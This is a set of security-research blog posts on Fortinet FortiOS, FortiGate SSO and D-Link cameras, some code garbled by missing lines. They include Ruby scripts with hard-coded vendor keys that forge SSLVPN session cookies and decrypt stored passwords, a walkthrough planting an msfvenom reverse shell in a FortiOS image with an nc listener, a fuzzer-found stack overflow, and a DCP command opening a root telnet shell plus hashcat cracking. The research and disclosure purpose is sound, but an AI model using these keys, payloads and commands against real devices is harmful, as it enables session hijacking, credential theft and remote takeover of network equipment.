Bad Crypto

After figuring out how to unpack the binaries in FortiOS (covered in my last post), I noticed most of the functionality is provided by /bin/init, and all other daemons are just symlinks to that one file. So I followed my first instinct and loaded it into IDA.

The first thing one notices is all the xrefs to strcpy and sprintf. Yeah, thar be 0-days. But let’s not get into that just yet.

After a bit of hunting for interesting OpenSSL function xrefs and looking for interesting strings, I noticed there are many hard-coded encryption keys. This isn’t a great practice, it means some aspects of the systems security are governed by “security through obscurity”. In other words, they’re hoping no one will check and see how it works under the hood.

Let’s start with SSLVPN. FortiGate has both web-based and thick client SSLVPN. From my Burp proxy logs, the authentication sequence goes something like this:

  1. The client browses to the FortiGate via HTTPS, and is redirected to /remote/login.
  2. The client issues a POST to /remote/logincheck and is redirected to stage 2 authentication, which appears to be a “host check”.  I’m guessing it has features to verify that AV is installed and that sort of thing.
  3. The host check URL is /remote/hostcheck_install.  It has a few parameters, some of which appear encrypted.

The interesting thing about the host check URL is that this is the URL that actually responds with the Set-Cookie header, issuing the user an authentication cookie. So if you can guess or brute force this URL, you get a valid session. Neat.

Let’s take a look at an example request:

GET /remote/hostcheck_install?auth_type=1&user=76706E75736572&&grpname=76706E&portal=66756C6C2D616363657373&&rip= HTTP/1.1

Okay, so the user, grpname and portal parameters are just hex encoded.  So user, for example, is “vpnuser” in ASCII. But what is the sid parameter?  Can we decode this?

As it turns out, I stumbled upon the code to decrypt the sid (and SVPNCOOKIE) by accident. I notice the string “c25*dc2$dgl#jp^” in the string table of the /bin/init binary, and my curiosity was peaked. After some extensive reversing, here’s some Ruby code to decrypt the sid values, and make new ones:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'

def get_cipher_key(s)
  sv_cookie_key1 = "\xdf\x19\x79\x86"
  sv_cookie_key2 = "\x38\xba\x40\xdf"
  sv_cookie_hkey = 
    "\xcd\xf1\xfb\x45\xdc\x85\x37\xba" +
    "\x9d\xce\x58\x45\xc7\xb0\x9e\x62" +
    "\x46\x2a\x2a\xb0\xec\x15\x5b\x5b" +
  hmac = OpenSSL::HMAC.digest('sha1', sv_cookie_hkey, s)  
  ks = sv_cookie_key1 + sv_cookie_key2 + hmac[0,8]
  iv = hmac[0,16]
  [ks, iv]

def encode_sid(sid)  
  secret = "c25*dc2$dgl#jp^"
  sid += OpenSSL::HMAC.digest('sha1', secret, sid)
  cipher ='camellia-128-cbc')

  cipher.key, cipher.iv = get_cipher_key(secret)
  cookie = cipher.update(sid)
  cookie <<

def decode_sid(sid)
  sid = sid.scan(/../).map { |x| x.hex.chr }.join
  secret = "c25*dc2$dgl#jp^"
  cipher ='camellia-128-cbc')

  cipher.key, cipher.iv = get_cipher_key(secret)
  cookie = cipher.update(sid)
  cookie <<

puts decode_sid(ARGV[0])

You might be wondering — what’s up with the get_cipher_key function? I think this is their crude attempt at obfuscation. The translation to ruby is fairly literal, so I left this as is. But yes, they actually derive the key at runtime, to make my life a little more interesting.

If you run the script with a valid sid parameter as an argument, you should get similar output to the following:


Neat. So it appears each value is encoded with a 4-digit length field, then the value. The vaules seem to be serial number, username, user group, portal name, IP address, some zeros (probably the realm), a “1”, and the epoch time stamp (twice). Wait… all of this is simple to brute force!

I’ll leave the implementation of a brute force script to the reader, but yeah, it works. There is very little entropy in the sid token. The serial number of a remote FortiGate is simple to obtain. Many of the self-signed certificates on the system set the CN to the serial number, so in most cases it’s as easy as “echo “” | openssl s_client -showcerts -connect <ip address>”.

If that doesn’t work, try spoofing a CAPWAP packet — but that’s a story for another day.

The unix epoch time can be iterated over the last hour or so, and the source address may be known if the target can be observed. NAT means that any person logging in via an airport of coffee shop network has a known source IP. And if you already have credentials to the VPN and just want to login as a different user (with more favorable permissions), it’s dead simple.

While that’s pretty cool, are there any other obvious examples of bad crypto? Another thing that caught my eye is encrypted passwords in the config. Now passwords for admin users are stored using a hash, albeit a weak one (Hashcat will crack the hashes that start with AK1), it’s still not simple to reverse. But take a look at the passwords for other system users:

config user local
 edit "vpnuser"
  set type password
  set passwd-time 2015-09-02 11:45:00
  set passwd ENC XR/8Zk1ztvCtvMCrFT661civgZ3XxLZR0aWUuKCMGYVOk0KXpo41RnA5w/jkY76FzX3bTVWaehMTMypDO0s68a2SVApPvWAUXJKJZsUrU0RKyxa279fBcvVuM6TVYFvOa/INexHo99zbneHEr2O14tyxt5RGLPlVobWMgpJuJTFF1b5UDSbRc5hoS1/4ERHvi+Vazg==

It turns out these are reversible. You can tell because values such as IPSec PSKs (which need to be known in cleartext) are encoded this way. So after some more reversing, I figured out the encryption scheme:

#!/usr/bin/env ruby
# encoding: binary

require 'openssl'
require 'base64'

iv, text   = Base64.decode64(ARGV[0]).unpack("a4a144")
cipher     ='des-cbc').decrypt
cipher.key = "\x34\x7c\x08\x94\xe3\x9b\x04\x6e"
cipher.iv  = iv + "\x00" * 4

pass = cipher.update(text)
eos = pass.index("\x00")

if eos && eos > 0
  pass = pass[0,eos]

puts pass

If you run the code above with the base64 value from the config snippet above, it will decrypt to the value “password”.

The moral of the story is this: don’t use baked-in encryption keys. Use hashes (strong ones) when possible. If that isn’t possible, create keys from random numbers (with good entropy). If that’s not possible, derive keys from a configurable master pass phrase. But don’t ever bake it in and hope no one will reverse engineer your code.

Backdooring a FortiOS VM

Lately I’ve been playing with FortiOS 5.4 Beta 3 VM.  In previous versions of FortiOS, you could use the hidden fnsysctl command to run linux CLI commands (only a subset, unfortunately).  For example, if you download the FortiOS 5.2 x86 VM, you can run the command “fnsysctl cat /proc/version”, which will display the Linux kernel version it uses.

For those of you that didn’t know, FortiOS is Linux. They are the same.  And FortiOS, up to and including version 5.2, is Linux 2.4. This means that FortiOS does not have ASLR, DEP, stack cookies, or any modern Linux exploit countermeasures.  And everything is written in C, and all processes run as root.

Personally, I find this bizarre. The company I work for has FortiGate firewalls, and it’s a little weird to think that the only Linux box we have running kernel 2.4 is the box we’re using to protect all the other Linux boxes.  Anyway, I digress.

Back to FortiOS 5.4. It seems that Fortinet is tired of porting third-party vendor SDK driver code back to Linux 2.4, so they decided to upgrade the kernel to 3.2. ASLR is even enabled. Not sure about DEP, but I know stack cookies aren’t enabled. But it also appears that “fnsysctl” has been removed. Let’s fix that.

Once you’ve downloaded the OVF zip archive, unzip it, then run ovftool to get it working on VMware Fusion (or Workstation). You will find that it sets up two disks, with the first disk name ending with “-disk1.vmdk”. This is the system boot drive and is formatted ext2.

For our experiment, you’ll need a Linux box. Something on the 3.x kernel, running 32-bit (i686-pae is fine). In VMware, add an “existing disk” to your Linux VM. It’s fine to copy the disk rather than sharing it with the FortiOS VM. Make sure that FortiOS is powered down via “exec shutdown” and not simply suspended.

Once you’ve copied the VMDK and connected it to your Linux VM, mount the disk via “mkdir /mnt/fos” and “mount /dev/sdb1 /mnt/fos”. The disk may be detected as something other than /dev/sdb1.  Use the output of dmesg to check.

Now cd to the /mnt/fos directory, and enter “ls -la”.  You should see the following files:

drwxr-xr-x 8 root root     1024 Aug 30 21:06 .
drwxr-xr-x 8 root root     4096 Aug 30 10:29 ..
drwxr-xr-x 2 root root     1024 Aug 17 20:53 bin
-rw-r–r– 1 root root        1 Aug 17 20:53 boot.msg
drwxr-xr-x 2 root root     1024 Aug 24 17:54 cmdb
drwxr-xr-x 2 root root     1024 Aug 30 19:58 config
-rwxr-xr-x 1 root root    32516 Aug 30 20:03 crash
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp6s_db.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcpddb.bak
-rw-r–r– 1 root root        0 Aug 30 20:02 dhcp_ipmac.dat.bak
drwxr-xr-x 8 root root     2048 Aug 24 14:51 etc
-rw-r–r– 1 root root      124 Aug 17 20:53 extlinux.conf
-rw-r–r– 1 root root  2314464 Aug 17 20:53 flatkc
-rw-r–r– 1 root root      256 Aug 17 20:53 flatkc.chk
-r–r–r– 1 root root    32256 Aug 17 20:53 ldlinux.sys
drwxr-xr-x 2 root root     1024 Aug 22 10:59 lib
drwx—— 2 root root    12288 Aug 17 20:53 lost+found
-rw-r–r– 1 root root 21959605 Aug 31 19:21 rootfs.gz
-rw-r–r– 1 root root      256 Aug 17 20:53 rootfs.gz.chk

Great. Now if you cat the extlinux.conf file, you will see that the initrd is set to rootfs.gz. Go ahead and extract this file with gzip, preferably to a different directory. I extracted mine to /root/rootfs. I’m using Kali so hence running as root.

The rootfs blob you extracted is a cpio image. You can extract the files with cpio, using the syntax “cat rootfs | cpio -idmv”. You should now see all the files in the rootfs directory. Go ahead and delete the extracted gzip (called rootfs).

So now we have the following files in our /root/rootfs directory:

drwxr-xr-x 11 root root     4096 Aug 30 10:34 .
drwxr-xr-x 60 root root     4096 Aug 31 19:10 ..
-rw-r–r–  1 root root 12463836 Aug 31 19:21 bin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data
drwxr-xr-x  2 root root     4096 Aug 17 20:51 data2
drwxr-xr-x  6 root root    20480 Aug 30 10:34 dev
lrwxrwxrwx  1 root root        8 Aug 30 10:34 etc -> data/etc
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev -> /
lrwxrwxrwx  1 root root        1 Aug 30 10:34 fortidev4 -> /
lrwxrwxrwx  1 root root       10 Aug 30 10:34 init -> /sbin/init
drwxr-xr-x  2 root root     4096 Aug 30 10:34 lib
-rw-r–r–  1 root root  5104324 Aug 17 20:51 migadmin.tar.xz
drwxr-xr-x  2 root root     4096 Aug 17 20:51 proc
drwxr-xr-x  2 root root     4096 Aug 30 10:34 sbin
drwxr-xr-x  2 root root     4096 Aug 17 20:51 sys
drwxr-xr-x  2 root root     4096 Aug 17 20:51 tmp
-rw-r–r–  1 root root  1112980 Aug 17 20:52 usr.tar.xz
drwxr-xr-x  8 root root     4096 Aug 30 10:34 var

We’re almost there. The file we’re looking for is called bin.tar.xz. It appears to be an xz compressed tar file, however, all of my attempts to extract this file with xz indicates that it is corrupted.

Fortinet must have altered their version of tar and xz. Luckily, they’ve left their copy kicking around for us to play with. If you look in the /root/rootfs/sbin directory there are three files: init, ftar and xz. To makes these files run, you can chroot to the /root/rootfs directory so that they find their libs in the right directory. Worked fine for me on Kali 1.x running i686-pae kernel.

Extract the contents of the bin.tar.xz using “chroot /root/rootfs sbin/xz -d bin.tar.xz” and “chroot /root/rootfs sbin/ftar -xf bin.tar”.  Issue these commands from the /root/rootfs directory. This should unpack the files into the bin directory under the rootfs.

Now we need to backdoor a binary. I make it really simple. Just “cd” into the rootfs bin directory, and run “rm smartctl” and “msfvenom -p linux/x86/shell_reverse_tcp -f elf -o smartctl LHOST= LPORT=22”. Use an LHOST IP address that the FortiOS VM has connectivity to. This will overwrite the smartctl file with a TCP reverse shell.

Now we need to repackage the files:

cd /root/rootfs

rm bin.tar

rm bin.tar.xz

chroot /root/rootfs sbin/ftar -cf bin.tar bin

chroot /root/rootfs sbin/xz –check=sha256 -e bin.tar

rm bin/*

find . | cpio -H newc -o > /root/rootfs.raw

cat /root/rootfs.raw | gzip > /mnt/fos/rootfs.gz

Now unmount the FortiOS partition and shutdown your Linux VM. Copy the “-disk1.vdmk” that was mounted on your Linux VM over the same VMDK from the FortiOS VM. Now start the FortiOS VM. Try not to act shocked when it boots :)

Once the system is booted, login and drop to a CLI. On your host system, startup a netcat listener:

sudo nc -v -l 22

Now on the FortiOS VM, issue the command: “diag hardware smartctl”.  You should get your connect-back shell.

Now the first thing you’ll likely notice is:

/bin/sh: ls: not found

Don’t panic. This is expected. FortiOS uses “busybox” style binaries extensively, so the command you’re looking for is:

/bin/sysctl ls

The “sysctl” binary has a lot of command line tools, which you can discover by entering the /bin/sysctl command by itself. Now that you have a shell, go and statically compile gdb and get fuzzing.

At this point, you may be wondering: doesn’t FortiOS have integrity checks to prevent this sort of thing? What’s the rootfs.gz.chk file for, then? The answer is, yes, it appears that firmware images and critical files such as the rootfs and kernel do have these signatures in the form of “chk” files.

However, these files are only checked when in FIPS mode. FIPS mode also disables most of the features on the box, so outside of the government, I do not think anyone actually enables FIPS mode. What’s interesting about that, is that all the “certifications” that FortiOS has, ie. EAL4+, are tested while running in FIPS mode.

Thanks for reading! Next post, we’re going to try extracting firmware files of other platforms (real FortiGate hardware firewalls), backdoor them, then see if we can upgrade to a backdoored image.  Should be lots of fun.

Fuzzing for Domain Admin

Last week Enrique Nissim of Core Security published an article called Analysis of a Remote Code Execution Vulnerability on Fortinet Single Sign On.  Lately I’ve been using Deva Vu Security’s excellent Peach Fuzzer to find vulnerabilities, and I wanted to see how easy this would be to reproduce.

First, I installed Wireshark, Windbg, Peach 3 and FSSO 4.3.143 onto a Windows 2008 R2 server VM.  While Windows 2008 R2 is 64-bit only, FSSO is always 32-bit, which should make writing the exploit simpler.  Next, I loaded up a FortiGate VM and configured FSSO according to the documentation.  All Fortinet products can be downloaded and trialed for 14-days which makes vulnerability hunting a breeze, although you will have to set up an account first.

As indicated by Enrique’s article, FSSO communicates via TCP port 8000.  A Wireshark capture shows the structure of the hello packet:


The capture shows the packet format as follows:

  • A packet header, comprised of 32-bit big endian size field of the whole payload including the size field, a tag value of 80, and a type value of 06.  These tag and type value correspond to a hello packet.
  • TLV-like structures, with the same size, tag, type and value structures.
  • TLVs for version, serial number and an MD5 authentication hash.

Peach fuzzer uses XML to describe how to fuzz a target.  The portion of the XML that describes the packet format is the data model.  Other sections include a state model, which describes stateful protocols (we’re only fuzzing the hello packet), an agent, which describes how to instrument the target, and a test, which describes how to interface with the target.  The full Peach Pit can be found on github.

Running the Peach Pit is simple.  I’ve installed Peach into the directory c:\peach on the Windows 2008 R2 VM.  You can start fuzzing by copying the Pit to the peach directory and running “peach.exe fsso.xml”.

After only 41 fuzz runs, I obtained the following crash:

(13f8.e54): Access violation - code c0000005 (first chance)
eax=fffffffe ebx=00000658 ecx=75e898da edx=1c781104 esi=ffffffff edi=1c7e2ce8
eip=41414141 esp=1cbbfe1c ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
41414141 ??              ???

Textbook stack buffer overflow.  To make the situation worse, two modules in the FSSO service do not use ASLR:


So we know we can get 0x41414141, and we know we have at least two modules that do not have ASLR enabled, and one of them contains address values with no nulls, which is perfect for a ROP chain.

FSSO usually runs as domain administrator.  If we’re able to exploit this service we effectively have control over the entire network.  While Fortinet might not be a common household name like Cisco or Microsoft, Fortinet has sold over a million firewalls and FSSO is widely deployed.  It is also quite likely that there are other vulnerabilities in this service, such as the DCAgent protocol running on UDP port 8002 (which is also enabled by default).  Next week I’ll demonstrate how to build a working Metasploit module for this vulnerability, and we’ll try some fuzzing of the DCAgent protocol.

Reversing an Undocumented Protocol

In this post, we will step through reverse engineering a proprietary D-Link protocol called “DCP”.  This protocol is used to provision the D-Link DCS camera line for first time use, and is used for some management features when connected to the MyDLink cloud web site.


The device we will be testing is the D-Link DCS-930L camera.  It comes with a Windows and Mac installer for first time provisioning.  You can obtain a copy of the EXE installer from their support site here.

Wireshark was used to capture all the protocol messages sent when the install wizard runs.  For my testing, I mirrored a port on the switch connected to the camera to see all the messages used to provision the device on the MyDLink cloud as well.  There is a lot of interesting chatter to, but that will have to wait until another day.  In this post we will focus on the protocol messages sent via UDP/5978.

DCP protocol messages have an interesting format.  From the Wireshark captures, it was immediately clear that the messages start with a binary header, including a two byte big-endian size field, and two six byte fields with the destination and source MAC address.  The size field does not include the size of this header, only the following payload.  The payload is text-based field, which appears to be base64-ish.

What does base64-ish mean?  Here’s an example:


It’s like base64 with a different character set.  The trailing dollar signs are a dead give-away.

Still, in order to understand this encoding and the protocol messages contained within, we will need to take apart the firmware and disassemble the MIPS binaries.  Or we could take the easy route and disassemble the x86 binaries in the installer.  There is an even easier way though.

These DCP messages are also produced when logged into the MyDLink cloud site.  They are sourced from a Java applet, which has the capability to change settings on the local device from the cloud web site when layer-2 adjacent to the device.  Since it uses the same protocol, we’ll hit the easy button and decompile the applet JAR instead.

I actually used two apps to decompile the JAR.  I found that JD-GUI was great for browsing the code and looking for high-level relationships, but in order to get accurate decompilation I used Jode.  But before we write an encoder, it would be nice to decode the existing PCAPs to get a feel for the attack surface.

Instead of re-writing the code at this point, we can just use it as is.  JRuby or Jython are great for this task — we can just open the JAR file and start using objects and methods with ease.  My preference is Ruby, so we’ll use JRuby for this task.

First, let’s use a native Ruby script to do the PCAP decode.  JRuby no longer supports C extensions, so we’ll need to use a separate script to parse the PCAPs.  I’ll admit that this is super-hacky, but it works.  The native Ruby script is shown below:

#!/usr/bin/env ruby
# This is pcap_reader.rb

require 'pcaprub'

pcap = Pcap.open_offline(ARGV[0])
packets = []
pcap.each do |pkt|
  packets << pkt[(40+14+2)..-1]

puts packets.join("|")

Easy stuff, we open the packets, print the obfuscated payload separated with pipe characters.  Now for the magic:

#!/usr/bin/env jruby
# This is pcap_decode.rb

require 'java'
require 'tsa.u45.jar'

a ="qazwersdfxcvbgtyhnmjklpoiu5647382910+/POIKLMJUYTGHNBVFREWSDCXZAQ", '$'.ord)

pkts = `ruby pcap_reader.rb #{ARGV[0]}`.chomp.split("|")
pkts.each do |pkt|
  puts a.b(pkt)

Yep, that’s it.  I’m just using the Java that D-Link was kind enough to provide me.  The tsa.u45.jar file is automatically downloaded when you manage a camera device on  You can get it here if you’d like to take a look.

Now that I’ve decoded the PCAPs, the attack surface becomes apparent.  Here’s an example of a command that is encoded within the obfuscated portion of the DCP message:


Seems simple enough — 102 is the length of the message after the first comma, ‘S’ is some kind of message type indicator, the M field is obviously the target MAC, D is the device type, C appears to be some actual base64, and X is a mystery (for now).  First, let’s decode the C field:

"ls /tmp/provision.conf"

Um… okay.  So, wild guess — ‘S’ means Shell.  That’s very kind of D-Link to provide us with a remote shell.  What’s better, the response messages actually return the result of the shell command in the R field.  It appears to be well worth our time to write our own encoder/decoder.

Before we do that though, the X field is still a mystery.  This field is the length of an MD5 hash, and seems to be the same only when the message content is the same, so I can guess that it’s a signature.  However, a straight-up MD5 of the message does not yield the same value.  Back to the Java code:

try {
  String string_12_ = string_9_.substring(string_9_.indexOf(",") + 1);
  MessageDigest messagedigest;
  (messagedigest = MessageDigest.getInstance("MD5")).reset();
  byte[] is = messagedigest.digest();
  StringBuffer stringbuffer = new StringBuffer();
  for (int i_13_ = 0; i_13_ < is.length; i_13_++)
        (new Object[] { Integer.valueOf(is[i_13_] & 0xff) })));
  string_12_ = new StringBuilder()
          (new Object[] { stringbuffer.toString() })))
  string_9_ = String.format("%d,%s",
      (new Object[] { Integer.valueOf(string_12_.length()),
          string_12_ }));
} catch (Exception exception) {
  c.a(1, "Generate DCP Message w/ Signature Failed", exception);
  return 0;

Seems pretty obvious what’s going on here.  The message portion after the first comma is MD5 hashed along with another string value.  After a little guess and test, it turns out that the other value is indeed the password.  It would seem that we need the password in order to get a shell, which is no fun.

Before we give up, let’s consider what happens when a message is sent with an invalid hash.  As it turns out, the DCP service is nice enough to answer with an R=0, to let us know that the command did not run.  Interestingly, the response is signed too.  Why is this important?  Because cracking salted MD5 is dead simple.

In order to crack the password, we can simply make a text file with the hash value, a space, and the “salt”.  In this case, the salt is the actual message, without the length and first comma, and without the last semi-colon and X parameter.  We can then use hashcat (or a GPU-assisted cracker) to crack the password:

hashcat -m 20 -a 0 -p " " hashfile.txt /usr/share/wordlists/rockyou.txt

If we take everything we’ve learned so far, add Ruby and stir with vigor, we get a shiny new Metasploit module.  I’ve chosen to implement as an auxiliary module since there’s no shellcode involved.  I’ve also used Ruby sockets instead of Rex sockets, since I didn’t know how to receive a broadcast from a Rex socket.  Note that if you would like a persistent shell to play with, you can use the module to enable telnet via:

set CMD "/usr/sbin/telnetd -l/bin/sh"

Protocol flaws are fun, but where to go from here?  There’s some very sketchy looking VPN-like tunnel code in that Java applet, and there’s a MIPS implementation of the same thing in the /mydlink/tsa binary in the firmware.  You can pull apart the firmware quite easily with binwalk (two layers of LZMA) and cpio, if you’d like to check.  Pretty sure we’ve just scratched the surface.

No doubt you’ve noticed we haven’t talked about more traditional buffer-handling exploits… those MIPS binaries are chock full of strcpy too.  Maybe in another post…